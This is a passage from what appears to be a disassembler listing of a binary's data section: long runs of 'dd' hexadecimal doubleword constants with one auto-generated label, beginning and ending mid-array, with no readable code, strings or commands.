0C4E4F508h, 0D3F2AC90h, 0E0414600h, 5271E340h dd 0CE36000Fh, 49354DA6h, 4500EC99h, 68E6A383h, 0D3A85Ah dd 4D82F66Ah, 40C2119Bh, 20437307h, 0FF379527h, 1A4442C0h dd 1F6B0729h, 0F0EADAF4h, 0DF9BE908h, 0BA4FE31Dh, 66F611C0h dd 0DD1CECh, 1E8E0D85h, 0F2684841h, 0EDE8500Bh, 584410EAh dd 1659ECC2h, 148D748Bh, 0EF004D78h, 0C04A1489h, 0EE058218h dd 0C5556E9Ch, 12D310C1h, 28729D0h, 737E732h, 236047B1h dd 7650AEA0h, 0CA0C8FF4h, 40C10AD7h, 0ADDD1E2Fh, 0AABAC022h dd 62320FEh, 0C8B6CC2Ch, 46937B00h, 3E41E6E7h, 0AF805171h dd 0E3FD85D2h, 2077D762h, 0CA9E7B00h, 0F140971Fh, 8CE40018h dd 0E399446Fh, 6E007319h, 0BCF64194h, 1C4984h, 63DDAF7Eh dd 4FB4208Ah, 8347C13Bh, 0E39F303Ah, 9638A099h, 0B777CFh dd 6C073DD9h, 0A2C17181h, 67C8F300h, 0D19777Bh, 9EBC3DBFh dd 0B2D8B980h, 705655D5h, 0CCDF9326h, 1E08FE00h, 26FC907Fh dd 7B85F3Dh, 87917C2Bh, 0DECA3047h, 19007573h, 9AB977B1h dd 0D1A1F8h, 0AA78E5BDh, 0C696BFA3h, 0DDE0C216h, 0EDDE4005h dd 71FAB8C0h, 6CD2809Bh, 292E7900h, 3356013Fh, 0C0B35D67h dd 0FBF5B03h, 0AEB07C69h, 5109CF59h, 8136874Dh, 0D0B3C24Ch dd 0A4201DCDh, 48471C25h, 4C5E00EAh, 537CE3D5h, 58359F03h dd 0D9CCE00Dh, 0D043BAF4h, 0FF1398F7h, 8C5B800Ch, 36BD7400h dd 8F52987Ah, 1192001Dh, 9C20FACCh, 0F5074B05h, 68301BC0h dd 0A8F0BB17h, 7433CAh, 6C9B1887h, 0D4EE846Ah, 5428F500h dd 1B74CA1h, 877A0073h, 7939C27Bh, 5001CDDFh, 4908334Eh dd 0FFEC9383h, 827C00F1h, 0CAF351C8h, 450302E8h, 6278A754h dd 9059C8B7h, 754E005Bh, 20A39B5Ah, 8C9834B0h, 0E46F870Eh dd 6596066h, 1E7EBD8Dh, 987BDFh, 7DB78F0Ch, 0F07C78EAh dd 72AB1A00h, 8BC9C651h, 0EFB10082h, 0D6DD5EA7h, 2C797F88h dd 1A31E810h, 0DCC0D500h, 0BE3D5474h, 7C792300h, 0E778F8A0h dd 53285819h, 0B7F92200h, 365714B9h, 0E1075C1Dh, 0E22CF34Eh dd 4037D4CDh, 233C8EBh, 0E2C741D0h, 0B880BEECh, 972EFD4Fh dd 78125400h, 80ADD68Bh, 51A60031h, 2FD10486h, 49EAE503h dd 25384800h, 8ED0C592h, 2EDAF635h, 0F13B20h, 89F5828h dd 24004540h, 292748E8h, 3486B5h, 0BE512CFh, 7E2BAD9Fh dd 0B1000DF4h, 82B93FACh, 0EA05D7D4h, 7274001Eh, 15C1ACAh dd 9C01A199h, 0D5857844h, 6C30B405h, 0D4AE0043h, 5A74CA06h dd 7A0038B0h, 9CEB1013h, 1FF565h, 4A700D28h, 194FB24Bh dd 0E9618100h, 0EAD0152Dh, 4D9900F5h, 173DE8F9h, 52012343h dd 35026337h, 10807E14h, 2FEC6139h, 8C7C451Dh, 97CA098h dd 341C071Eh, 1204EE00h, 9DFFC4Bh, 3FCB2A30h, 0A42F6980h dd 0FB00D3A6h, 8939E033h, 456AF29h, 0E3874ECAh, 0FA4902Fh dd 30007D5Bh, 0BC404B91h, 0FFF36Ah, 80AFCC7Ah, 0DF62BFFCh dd 3D05C8F6h, 328F9C03h, 0ACD6D800h, 0B9633Ah, 0F5579267h dd 9436685Ah, 10C9551Eh, 0CE599780h, 1CEDA358h, 40BFBD16h dd 32F06A9Bh, 0A2023495h, 46B3979Dh, 2D04406Dh, 554300F9h dd 0C9A381AEh, 0DE22B5Ch, 0C1787200h, 0B166E988h, 0CE0501CCh dd 963E8348h, 0E4A0479Ah, 8268C1DEh, 30AE71B2h, 1E3CB460h dd 0C1990484h, 3CC3D08Ch, 0D5ADE0EBh, 0A7720068h, 0CE9553FCh dd 6B0071A4h, 8A50BF9Ch, 54AADF2Bh, 7673A0D3h, 0FDB90E9Bh dd 158E3533h, 71B2C000h, 6D00E018h, 4F09A4A8h, 3DA4864h dd 230E37B6h, 80C802B7h, 2D019AFEh, 0CE30266Dh, 1180A6ADh dd 6477BA87h, 530CC8CBh, 0C839EC02h, 59DB80Dh, 81B960DDh dd 0A6288019h, 0BF0265B5h, 5F455855h, 4916600Ch, 80449CE8h dd 0B5235AB3h, 64FE90A6h, 0ABB955Ch, 0B8C1C20Eh, 0B90731A8h dd 3C89A8B5h, 5561CFC1h, 26E0A0C3h, 9AE20145h, 53E6356Ch dd 0D6C7717Eh, 0EDB5B861h, 0F06FE9C6h, 0FF000867h, 9B39EDDCh dd 2E723CDBh, 9CC4BEA1h, 0D0F74683h, 120E383Eh, 4EDEBB6h dd 0C8C0402Bh, 932788h, 16862049h, 0DAC4040Bh, 71430912h dd 9C1F40C0h, 99CA050Fh, 8388BFCCh, 1E862C8h, 1E148A47h dd 4886F29h, 0CC3D5B3h, 0F56BECC0h, 0CA234897h, 7DD3400h dd 6B7B350h, 373D33F0h, 0A2E381FCh, 0C120D8B0h, 2E3CBBE8h dd 0BC878Ah, 2166F319h, 0EB01AF8Eh, 0E6B04CDEh, 88FC7828h dd 0BEB805h, 0DCD26A2h, 2290EA0Ah, 3DF6C701h, 5CD3E596h dd 0F786C4h, 2EEB7F14h, 0F6B79E6Dh, 70362403h, 0F58FE49h dd 0D4DDB419h, 976255A0h, 3772499h, 9007898h, 837313A8h dd 7DAC06h, 14326D52h, 2E39891h, 0DCAD331Dh, 2F1B3600h dd 0B83B8D34h, 47377h, 0C4CA9A35h, 60655556h, 0B31FFF77h dd 0B2C05E6Dh, 25AD7117h, 1EFE3Bh, 0C2392983h, 0D4D66144h dd 9A8AC000h, 6697F8A7h, 9328001Bh, 16C13DFEh, 7001C671h dd 45980AA5h, 8EC5D7Ch, 0D18E005Ah, 0EFE57881h, 0F848BF48h dd 255600FEh, 0FA912B65h, 2F84036Fh, 4C3AE252h, 3F7C01A8h dd 0D61E7B00h, 717F2005h, 0FD0B0E31h, 9EC055DEh, 0F18C13F3h dd 80194C3Bh, 2BF7C90Ch dword_504044 dd 50D8Dh, 0C094B19Ch, 0E920F86Ah, 77B893Dh, 1D367367h dd 9746AFF0h, 0EB0800F2h, 0ED311B93h, 3D04E9E5h, 534920A0h dd 548CC2FBh, 0CE4A7240h, 8FB80678h, 8F74D100h, 5B95FCDBh dd 0E07E39A7h, 0FB97E280h, 9FDB54Ah, 238FE91Fh, 38D42100h dd 4B716B3h, 4366A4EDh, 4F08C2A5h, 0D2B0AAC0h, 902A8801h dd 32E7D989h, 3F19E5E4h, 7F804F30h, 0FA126378h, 0F33986EBh dd 79E980BFh, 0D013649Eh, 0E83B00AAh, 789B36Ah, 0C100CE8Eh dd 0BFA77961h, 0C0B2E66Ch, 5E504718h, 0B37A132Bh, 0F1F7EA00h dd 55D64DC7h, 0E1FC07F4h, 60926E0Bh, 190D99C0h, 11886200h dd 3F82EA4h, 35541C23h, 1431009Dh, 6E15CC36h, 0C7428D00h dd 68B6FD20h, 9B0F0F79h, 0E180D0C3h, 6A078A63h, 8E2DB200h dd 4F4DDA1Fh, 83740Eh, 6C87432Fh, 0F6B2A219h, 70685926h dd 3DDF9200h, 38108Dh, 0FB24487Ch, 955713BDh, 0C4EF1C00h dd 822F8A2Eh, 6ABE00DBh, 0DBA5E10h, 3EFEB7ADh, 2EF05F48h dd 0C89C90DFh, 0B900C5A4h, 9A2C8DA5h, 306C7080h, 73194B02h dd 4C00F67Fh, 0FF3CCCE4h, 300C3260h, 83211BB2h, 0AD300AAFh dd 0A4BE111Ah, 2DF93316h, 0ECF0A0C9h, 40001F62h, 0C13A5175h dd 9777422h, 14BF18A5h, 0AFBCA8E0h, 9605F002h, 60CFF83Bh dd 9C43838h, 0B191624Ch, 8C6AC80h, 60FE7A46h, 0A60278F6h dd 0BD634DC4h, 3C8060D2h, 61FB007Ch, 308A565Ah, 40013F8Bh dd 66B50E54h, 0F541EC5Dh, 0EB700C35h, 34CC008Ch, 9E7A189Fh dd 86B011ACh, 0A2243F00h, 4CA54910h, 22A03DBh, 99C8827Dh dd 4E8A83Ch, 205F2C7Ch, 7F519CC0h, 1E93142Eh, 0BA00B8EEh dd 7214A4B0h, 0C439B74Ah, 0E1007EA9h, 65B3552Eh, 301C608Ah dd 871127DEh, 0E001D63h, 0E1AC2C70h, 0D71501h, 9FC99635h dd 9CE9FA2Ah, 1C20664Eh, 856FC368h, 0B5D37B83h, 3DCCE87Ah dd 0E8F0002Ch, 441A8FF9h, 8100A93Fh, 0D64221E4h, 0F5E54Eh dd 7B96272Ah, 0C2AE912Ch, 0C004C702h, 0C0978DFAh, 0B68094h dd 0C99ACB9Fh, 0AD7AEBBFh, 9BC69C1Eh, 0E7D8C118h, 23CD0365h dd 0A08D760Dh, 0CB746E0Fh, 0A99C00DCh, 1B764B2h, 0D7F3D288h dd 60341BF2h, 33053BF8h, 50430F6Bh, 0DD87EC05h, 24C4A0h dd 11B0EA9h, 4BFE9B2Ah, 0B0AB00Fh, 216C0F0h, 4C039573h dd 2B07F8F3h, 0E0A37835h, 105786B2h, 0E7878D01h, 0ED34120Fh dd 1E9860h, 70DEBD68h, 10FE9D9Ch, 0DBCA711Ch, 0B0A700FCh dd 0D593BE6Ah, 0D79100F9h, 0C1D87B18h, 85755DF1h, 9F840900h dd 8062E6B6h, 10AF003Dh, 66DFFB7Eh, 62EB925Ah, 5D7009ACh dd 770000EBh, 70BAD773h, 0CCC70E74h, 96203355h, 95118043h dd 2F019C17h, 48D06C01h, 0C82082D1h, 78E50036h, 0BAB8A2ABh dd 0CF0CFA0Ch, 21A09601h, 3C5D3D2Bh, 7CE3F8E0h, 60FA308Fh dd 5052CE03h, 0C0189483h, 348C5A7h, 0E6444326h, 0CDE97DEEh dd 0E9CC2054h, 69640149h, 0B0744411h, 697363D3h, 47987F9Ch dd 1B015842h, 0E1CC44A4h, 60A69510h, 68EE0C6Fh, 0AD00C489h dd 13DFCD44h, 75B87DDh, 0D7DB28C8h, 0FD9C935Dh, 9D6775F0h dd 0A5D5A71Ch, 0C21580FEh, 0C5AD9EBEh, 0AA740051h, 0E61FF80Dh dd 2000D58Fh, 65F00C2Bh, 9667158Ch, 64C503ACh, 0A000E9A8h dd 197B0B81h, 0E8CE4h, 566E0137h, 0BBE78A83h, 4AD68467h dd 6A65A3A0h, 2B355CA0h, 407D5907h, 0F741F0B1h, 46002101h dd 3A92C618h, 4D49C61h, 931650FAh, 0F4AC80B3h, 1B0086C2h dd 0F8653D46h, 33E1C28h, 7651299Eh, 63E0BAE0h, 8B01BF6Ah dd 0B420FDC1h, 5FFC47B7h, 46940021h, 489CBFEh, 865F0306h dd 40C30800h, 3821CF7h, 22B7B21Bh, 7DA8CD53h, 0F005AECh dd 78B0DE32h, 61ABBAh, 4B7E2E88h, 27C9E3CFh, 0C27A8A01h dd 0DC2B79C1h, 8E72A03Bh, 529D3300h, 3239CD87h, 10310088h dd 6AC7775Ch, 9F00D6B9h, 55722644h, 0F2FD7B58h, 1BF4F962h dd 0A8BF0F54h, 56005C02h, 3EF886Eh, 0DF9401Fh, 0EC82DCD6h dd 600CEA06h, 4B3C17FEh, 0A9B40005h, 0CA84255Eh, 375F2E00h dd 507E3A95h, 174F6F6h, 5B51E22Ch, 0DCA0040Dh, 0E13EB56Dh dd 0E4097B3Ah, 40748580h, 7539EBACh, 0A6D11211h, 51B0001Bh dd 0CB6ABC3Dh, 0F4229700h, 0A480170Dh, 898300ACh, 0E0EF36FCh dd 34002582h, 1C560157h, 121365h, 0CFD51BA4h, 6C7D8BDDh dd 0EF05AF09h, 4D048159h, 97F00EA6h, 14CA1C2Dh, 15FC0BFh dd 1A6B8F70h, 50253F01h, 41ACC29Eh, 4CA8A4h, 0BC0DF721h dd 2D305DE5h, 0B932966Eh, 0A9D000D9h, 0FEC00B48h, 0C7016031h dd 0FABB5B8Bh, 3660B8FDh, 824216CDh, 602C0026h, 0C20F982Fh dd 0ECA139h, 0F9B871F0h, 7C7F4010h, 763607B9h, 0AFDC20EBh dd 321B2BE7h, 0C46082DFh, 0E005F8Ch, 49D88BE5h, 3DB8720h dd 2886DCB6h, 0CAB16CCFh, 59ACF4DFh, 0D6287DEAh, 3F1E8CBAh dd 20D8FC58h, 0F22638h, 79AEC147h, 0CD6F8F91h, 0D607661h dd 9184720Fh, 0B0A6ADFBh, 9D016D30h, 0ACD3FF5Eh, 4870394Bh dd 801CBC76h, 0BBD7E8C4h, 93006F3Ch, 239594E1h, 7E160AF5h dd 0C1130FA9h, 80200669h, 8837E1FBh, 1726B901h, 3E4678A7h dd 0A07A1074h, 0B5CD80h, 0A037D188h, 92FA7222h, 63D74212h dd 8FCB1440h, 0C364D948h, 3D4F6E11h, 0D01DD98h, 0CA30DF00h dd 0C15968CEh, 9F540133h, 3BEEBB4Ah, 0E3309A19h, 8C74FCh dd 4E8E3CDFh, 2FE80CD0h, 7589C8h, 0F92A6B28h, 84E25B07h dd 0A30A0492h, 8CE55FBCh, 59534A80h, 2ED84829h, 0B96050F9h dd 30A852F2h, 4FEA4306h, 9D0C2139h, 0C166D83Fh, 5E7406C6h dd 2129E01Ah, 0E4558D00h, 0A4912D25h, 18BC00A9h, 1AC3CC43h dd 9395C1C0h, 0D6D5901Ch, 7FDD3C5Ch, 6343CB02h, 0BAE0F3B9h dd 0ED2EABF8h, 0FD002916h, 32993675h, 1CDB79F5h, 800DB281h dd 6D2DD894h, 0A803C278h, 14E4E0B1h, 0FB50FF1Ch, 3A798219h dd 0D9B13E89h, 2E9DF428h, 2170AC1Ch, 0E73083Ch, 0FA8FA42Fh dd 0A3588901h, 0A85FF41Fh, 52FC0301h, 171BD543h, 0DC085C38h dd 3580D1F7h, 883AD075h, 0A0B0AB7Eh, 921A98B0h, 49E93BB0h dd 0C6199D00h, 6C6BA9A5h, 2A9A5A00h, 925909F3h, 14912E28h dd 568C80B8h, 0E34B37E2h, 10B1640Ah, 0F902E81Fh, 62905F6Ch dd 0FE34609Fh, 43F25C53h, 0D638F430h, 63005F9Ch, 3B6E8A1Bh dd 6DC7E3h, 20376986h, 0B1259901h, 84386600h, 8EC4FD93h dd 96AE00F8h, 9027F744h, 51CFF22h, 0E08039C0h, 107A37E8h dd 38DC01DFh, 0AAB82A26h, 8F9C6007h, 0BE003D70h, 7BED6A1Ch dd 30E5236Dh, 26A637CFh, 0D2006008h, 55838CD0h, 0B8C28D9Bh dd 0DAA600F6h, 0C9F5B4D7h, 8E98D87Eh, 5E34630Fh, 504B405Dh dd 0FE67B097h, 3AAF0099h, 7BE9C424h, 0A707AB04h, 0F8F5E041h dd 0E0A645B2h, 0FA17169Bh, 0B0B42E63h, 0C12B010Ch, 0CC423347h dd 0C3F49AEBh, 0C4808700h, 5515B8B0h, 1350003Ah, 1123AF63h dd 84EA5703h, 0B9B11A00h, 983A4F1Eh, 1B2C0001h, 21AED96Ah dd 630A2223h, 0C40B269Ah, 3E4E4700h, 7FFF0Ch, 5D21F25Ch dd 800E093Bh, 57F45601h, 0B696306Ch, 0F0AC44FCh, 93F034h dd 0B97D4D46h, 0A0593122h, 0CA524100h, 9C8C0DDAh, 0B45009F2h dd 78710F09h, 8066EA89h, 804D1F97h, 7DC49815h, 4EFE012Dh dd 7B25EFB3h, 3761E284h, 68C7201Dh, 0CF0FA600h, 62D90260h dd 96B7B7Ah, 0A74B1E2Dh, 0D285C0A1h, 48A43C33h, 61AD0FF0h dd 0C1F7C081h, 4937AAA2h dd 0E00642Bh, 0A97080BEh, 193BE99Ch, 0DDA08428h, 480BB14h dd 1D9FDB35h, 80EFCC0Dh, 3480959Dh, 0D7037036h, 7C4DE7FBh dd 0ED5F90FFh, 37600022h, 0AD84D503h, 0B8004BB2h, 0D0F28702h dd 452058h, 6C619CEBh, 0E5AB268Dh, 0EC5F5Ch, 704F99C1h dd 70E0F92h, 0A216AC3Ah, 0C3B22527h, 0ADC98670h, 0B7A86072h dd 21501F01h, 74C76FEFh, 9D6920h, 36DEF58Bh, 0CA4B2D04h dd 0C6C4A700h, 359428B4h, 9857508Fh, 0BA4C2C2Fh, 39BE0024h dd 0B93EEF0Fh, 185A4509h, 0D1F404FDh, 8800F8BCh, 7E407909h dd 0C0173ACFh, 0C10554B2h, 0EC08F51h, 2C2545ECh, 0D2447h dd 28C3A289h, 6402F6CBh, 431709E6h, 5224604Ch, 0F8B71671h dd 0F654700Fh, 0A75819B6h, 7C3802E7h, 858E9C26h, 8080DDA6h dd 0F945A9Dh, 7331C3B9h, 7071FC67h, 63240DF6h, 2F6C2301h dd 208BE450h, 0BCC5834h, 0C39F4F25h, 0AB0308B0h, 7EC1A4Ch dd 54DC441Fh, 74DEC290h, 0A2373D56h, 64ACC702h, 0F4688D85h dd 5E19B1A9h, 0CB598379h, 7F5F0870h, 872A0028h, 7ECA3438h dd 0EF120131h, 8CA014C4h, 0ED70C495h, 0E570A49Ch, 19C0D5F0h dd 0D9EA1871h, 84FA5632h, 40DC134Bh, 59227328h, 110F5A38h dd 37E542A2h, 0A4DCF0C0h, 543EAD3h, 0D0401FB6h, 84E41136h dd 4E81219Eh, 31690503h, 59AB6AD0h, 77826C42h, 90A07C92h dd 7E7452DBh, 0DCAFF90Dh, 62C499BBh, 1C5F0067h, 85D5B5FFh dd 0BC0CBF2Fh, 0F811AAEEh, 0CCFB5809h, 0C13239A2h, 40744290h dd 7C6F06BDh, 79C89A14h, 1E8FA006h, 6411C19Ch, 80B6317Bh dd 8B63BBD8h, 801810C0h, 0C80492h, 6AB8FBA3h, 0BB39C151h dd 0FC18EB74h, 554073F1h, 0E5FD28F4h, 0FC63FEE8h, 89C42CD2h dd 0B85D4028h, 282516A7h, 0FC446042h, 7F028819h, 40525F03h dd 0B89ECE7Bh, 2D2E2ADh, 0F2BF5355h, 60E0672Dh, 0C5031966h dd 99B7F057h, 3128E860h, 93400097h, 0F38E0AECh, 2500853Dh dd 7F83E64Bh, 161AF21h, 0BBAB9E71h, 0C08D5878h, 3900B8A2h dd 8C50426Ah, 0B4671Ah, 149604EDh, 0FA986D3Eh, 1E48958h dd 446C3C22h, 0CE798Ah, 854E7FD1h, 0D704F80Ch, 1C9129ADh dd 70A1FEEBh, 8CA37E11h, 0F5C49D01h, 92E50253h, 0E42E1C28h dd 2042AC3h, 8CBDDFA2h, 0C0C85AB1h, 4900D7E1h, 0DE2FEF23h dd 33392ABh, 772DE2FDh, 82FCED1Dh, 9460FEB1h, 131FA179h dd 36C1C274h, 0B647A022h, 2CE27E8h, 2B85660Ch, 0C0564CA5h dd 0E28950Bh, 65A341A4h, 0A86029F8h, 0A27000EAh, 0F085871Eh dd 267EE3F9h, 8C00097Eh, 0FE74A1C1h, 58B7D1AEh, 5703A477h dd 0F9A7C461h, 0D4B918F0h, 0DA05E401h, 6D2B02C7h, 28E382E4h dd 12F66250h, 0B03127FBh, 0CD0F8CF4h, 0CAAC8DFDh, 0E100921Fh dd 186F2C14h, 0EEE60775h, 0D7537FDAh, 233351CBh, 0BD68C820h dd 6AAE414h, 0D1DB0090h, 3B38081h, 0D56639E0h, 828DBE8Fh dd 0AB68DA01h, 2A1AF8DFh, 28C7E116h, 80A31D0Bh, 35D0C8B8h dd 0DCAC00A6h, 4DCDC51Ch, 72C815Eh, 28048C98h, 27402AAEh dd 0ADFE1B94h, 4332A300h, 5998855Dh, 4930B0CAh, 0B6029893h dd 0A96F5855h, 530064D8h, 0F17FBCCDh, 7519D7h, 0B2B09ABBh dd 0E83DC114h, 8D1E2B00h, 227E01F0h, 1F070025h, 18920867h dd 2907313Ah, 84B3780Fh, 8524A439h, 217CCCh, 0A953C8DBh dd 0F8F0B613h, 9002C8B8h, 0B7871A73h, 61FDC09Ch, 80F54CACh dd 0BC65C00h, 0E83725E6h, 0B8004698h, 21888369h, 7EEB72Ah dd 8E5D0E16h, 0BED4D017h, 6D0A2EC4h, 0B6B6F85Eh, 0CCE9B400h dd 0FFBC30h, 29B75058h, 6563D5E8h, 947C6009h, 6CD803B3h dd 23A800B0h, 0EFC44E2Ch, 73006F5Bh, 9C1BA0CDh, 4DADBE47h dd 46026CA2h, 0C48EA65h, 498BB874h, 827000FCh, 0E22F29h dd 3CBE4FE5h, 13805556h, 401FCE76h, 0D0C19C24h, 0FAD8BBDDh dd 0B489040h, 0CE5B0089h, 30C4B992h, 0D74B4274h, 8EAC1840h dd 33A4D832h, 7281CDF7h, 0AD169087h, 830039E4h, 0B69EC66Fh dd 271AAA6Dh, 4C41F1A5h, 0C491C5FEh, 3709BA3Eh, 80D86B4Ch dd 897DEC79h, 43F502DCh, 8353E2AFh, 99BA9860h, 4CD9B300h dd 5E741DD6h, 20D10019h, 0FD4553A0h, 95145871h, 0C3480498h dd 0A8E16C39h, 1FE546DAh, 0C0289FE8h, 2B8D240Ch, 0D7539A2Fh dd 9ECB0460h, 0CE3821Dh, 34263321h, 0F4459DE0h, 3B2167Fh dd 0C53CA047h, 4EB8E758h, 0C8BFAC80h, 0E13E0033h, 22A08D09h dd 653024A5h, 9F2140F2h, 0DE709Eh, 1CF32A2Fh, 0FED8D52Ch dd 0FAE3E400h, 811942CEh, 37130FB2h, 5F0BCDD9h, 453C0602h dd 349404C1h, 0C89C896Ch, 90416848h, 0D8501708h, 248B44F6h dd 0E382BBh, 2AEAEB8Ch, 9D0E8792h, 8494FDA4h, 0C0916132h dd 5FD0B3D8h, 418661B8h, 80ED97C4h, 952B5259h, 60A86F85h dd 24962176h, 949CC588h, 16AD1900h, 0CBBD158h, 6542A6Bh dd 3100F358h, 0D637E75Bh, 0DD6D0FACh, 79431830h, 880005E6h dd 0B8601E5h, 0C0EC21C6h, 0C2124861h, 6B01FA3Ah, 0A1DDFBB2h dd 0C5DC0746h, 0C3420215h, 0DBF29A2Ah, 0CC105879h, 88E00DC2h dd 36EE5A00h, 10A00CDDh, 78619489h, 7712A20Dh, 688349BDh dd 227BF618h, 86E885F8h, 7C275CF8h, 0E8006B41h, 54C4ABh dd 777A5205h, 38577567h, 32D4A159h, 1A8981D8h, 1C06D05Bh dd 8C06A0h, 0A8B0E64Eh, 5D1FFC13h, 1787DC9Ch, 2110B85Eh dd 29ADA22h, 62DC37BFh, 0F8A264h, 8EA8F100h, 212DBBDFh dd 2C9EE4h, 0C01BEA8Dh, 0FC7539D2h, 0B890E62Ch, 810B303Fh dd 735BFB3h, 965925A2h, 946190A6h, 0E90032B6h, 0B5F7553h dd 0FF6ABCh, 0F5DF8F3Bh, 1AD7E5F8h, 0F1428203h, 0C85C1EF9h dd 278DBAh, 0AAFEB5CAh, 61B27A8Ch, 0C638B91Bh, 9D300340h dd 54403313h, 0DBCB48A8h, 60BBD1E5h, 9A0A3FA1h, 0EC918422h dd 62008B20h, 0C6F996E6h, 75271490h, 6D2C161Eh, 0C3A2C401h dd 3B81B981h, 8BC0C3BDh, 561D04BCh, 4F0C1E85h, 6280A4h dd 58A34C27h, 381440EEh, 84C8FE54h, 0FC89852Ah, 1907F402h dd 0D0D00542h, 0F343E6CCh, 8045E0h, 31C21D30h, 85596002h dd 4203DF00h, 751BB5C5h, 12CF7C28h, 0A0AB0A51h, 9090AEE8h dd 8595D378h, 1430B63Ch, 31C19B0h, 846ABF8Dh, 0E58009AEh dd 0BE072E2Ch, 4CA8EEB1h, 0DB06C920h, 12A9052Fh, 8031E40Fh dd 0BAD60C3h, 8B1BB700h, 89351F4Fh, 574800D8h, 0AA7841F1h dd 0FE059019h, 5F2106EAh, 0F8AB3080h, 0BE8700A1h, 0DE01B5C2h dd 0E5173624h, 0C81E2156h, 65094841h, 0F3E00786h, 2A890002h dd 4DCB55B2h, 66006961h, 0A121821Bh, 0E943031h, 0DE17CC6Fh dd 51EB3AC0h, 0BE00D177h, 0FDF5CD88h, 0E46B287Bh, 1566009Eh dd 0AD0DB869h, 950036BDh, 0E556883Ah, 2702CD4h, 0D142B473h dd 0BC87FCBFh, 95145AAh, 0CC78A0E5h, 884EC50Fh, 6D7B00BDh dd 3E57C2A6h, 8B0345C1h, 75E4B6DDh, 25F4BC9Ch, 0AB0840CEh dd 1CC1C9Eh, 0FEBAC06Bh, 461E66DFh, 6C406AFFh, 307220F3h dd 1932570h, 371E4080h, 0EE00A57Ah, 0E43E4FB0h, 5C79171Fh dd 0EB00B945h, 0BE788A7h, 54008DD8h, 343C300Eh, 14C05DEh dd 732724B9h, 0D1A76DF0h, 18C9EE90h, 20493AF4h, 0A874F0E0h dd 1DF0FAD8h, 6EBB764Ah, 1C2C34h, 0A73B9E8Eh, 0D900D035h dd 0A17F80F7h, 75101Eh, 28B2DAB5h, 52A3B731h, 85821800h dd 0D902A75Ch, 0D545161Fh, 396C92F8h, 0CE00CCD1h, 0BC5CD16Ch dd 4C430084h, 61331C3Eh dd 6616A02Ah, 0B0B01F6Eh, 0BD16058Dh, 80304C8Eh, 62A3E6A9h dd 8C72E9h, 9E99A40h, 0B81392E2h, 3EF7015Bh, 7D8EA563h dd 20C0C37Fh, 6118DA9Bh, 5E9A167h, 0C47A242Eh, 0CA01BCB4h dd 683DBC40h, 8F89FEDh, 0CCA6A9C0h, 1A72196h, 0B9646DE1h dd 0EC46EDC5h, 9E00829Fh, 4802E94h, 1966983h, 1C685EC7h dd 0D42BBA7Dh, 0C8B4A7C9h, 0D5B0Bh, 0A2D227A6h, 7B6E003Fh dd 7EF4CB78h, 0F70058BBh, 0AC7D351Bh, 0EC5A09B4h, 91F94838h dd 57807700h, 9925F773h, 0AC978E00h, 28E1030Eh, 0FBC90181h dd 0FD6D4380h, 82CED527h, 26FC6E11h, 0F8CD630h, 0CD214B8Dh dd 0EC2263ACh, 3C0FD96Ah, 2091F6C2h, 0E6764EB5h, 90C9013h dd 0CC7E8E07h, 0B2058CD8h, 0C97A9CE1h, 0B401B8BCh, 566FAC17h dd 6C83F076h, 53F884B5h, 791DE8F8h, 6099C0E2h, 9B0A9201h dd 89CBCD3Eh, 897450F2h, 240E83Bh, 5C7C82h, 0BB2A9E77h dd 23148451h, 500AC8A8h, 0F2D0F8F7h, 7E52E804h, 0D8C03F74h dd 57C71Ch, 0ABBD728Dh, 4D055DD3h, 0FC34829Fh, 33610F48h dd 30DABAA0h, 0F80FD090h, 9EAFAB42h, 41E2C80Fh, 9BFCB641h dd 4746D8h, 6632FE0Fh, 5C5DDE28h, 290B0400h, 0F8EB2583h dd 9D950314h, 792C3AF6h, 905F4990h, 0E42D7800h, 631B9692h dd 0B2C007FFh, 8D6DFEh, 0AA671A33h, 2F442600h, 56CF940Fh dd 77B0A011h, 0FD0E3E3Dh, 0FC8F702Fh, 3EFA0B43h, 90C026C2h dd 600405Ch, 0BC746CA6h, 3604427h, 2D1D56A3h, 49F87209h dd 220251B0h, 5BFD4ABAh, 0C4B0818Eh, 1C2CFE59h, 5445267Eh dd 44FC8020h, 92164733h, 0C5289C5Ch, 10ECA318h, 0CA8CC580h dd 0E00D12Ah, 1EF1E923h, 50B5338Eh, 1D21BC2Bh, 0C0088A3Fh dd 0B2A0B157h, 52006762h, 6F39F137h, 3C59F90h, 4D046599h dd 0B4F1A909h, 8BC84249h, 0C47357E1h, 89033A55h, 67E37A91h dd 9B00C76Ch, 3EEE79BAh, 1E00F474h, 0EAC5478Fh, 0A6009FADh dd 527BA415h, 29CCAC1h, 0DD3C90B3h, 0C88FF365h, 7529F46Fh dd 791FFCF8h, 998026BFh, 5B0AEBA0h, 0DD9C002Eh, 13338F37h dd 0E4B85201h, 327B8DA1h, 0C88D09C8h, 7FF868BFh, 0C313099Ah dd 0F5002288h, 238C1BA9h, 2819EA01h, 7E9C189Bh, 8E43EF9h dd 3C9F7EAAh, 0BD0F2CA2h, 0EFA9918Ch, 6EA55880h, 800F5B0h dd 80308D24h, 0EDE725h, 32D59194h, 154BD979h, 111E16B8h dd 81C0406Bh, 0A1B56E17h, 36C93822h, 979C72A6h, 8484B6FAh dd 0C096BEh, 5E5D7832h, 5C9080ABh, 0B5181351h, 0B6109A12h dd 0CC351EBCh, 79807D65h, 0C74284E0h, 5C390BDDh, 0B2C88037h dd 7F527214h, 0F3890B9h, 70130861h, 54180F80h, 3F0057ACh dd 7BC85BD5h, 311D3D9h, 0CF5F356Dh, 1102D67Ch, 0FB674036h dd 29005826h, 0D074D1h, 6E6A21BAh, 0C11E3A5Bh, 0BD24C078h dd 0A8B1F317h, 4D0420h, 8008CD82h, 0FBA7C4A6h, 2A47DF00h dd 4EC62678h, 218F6064h, 3354C1ABh, 9A8B9600h, 0E80207B1h dd 9075003Bh, 3DCC710Bh, 4E39ED21h, 0B4621D19h, 50DD6140h dd 9880DC76h, 0EEC403E8h, 69BA4DE6h, 0AC8357B8h, 0A481544Eh dd 7BFC7109h, 0D14F0061h, 53CDFF9Ch, 40BC7A27h, 0BBC0C49Ch dd 0C9B9CF69h, 0D4B30391h, 8846A7C1h, 55BFE99Bh, 3FBE09B5h dd 0F20247DCh, 8F4E286Dh, 7C0740ECh, 1B1473Eh, 9635255Eh dd 0E2505377h, 952FDCC0h, 0C851421Fh, 2B733200h, 9A525ED9h dd 0C0785E50h, 7415FD0h, 7138A404h, 8C80F4B9h, 9565485Dh dd 3C20808Fh, 0F8B7DADBh, 37FCC1Fh, 0AE89261Eh, 846C60A4h dd 1494002Bh, 670FB3C5h, 0F00092B7h, 0BB4AECDCh, 404E37h dd 0B6E3D3C2h, 4DCF6CBEh, 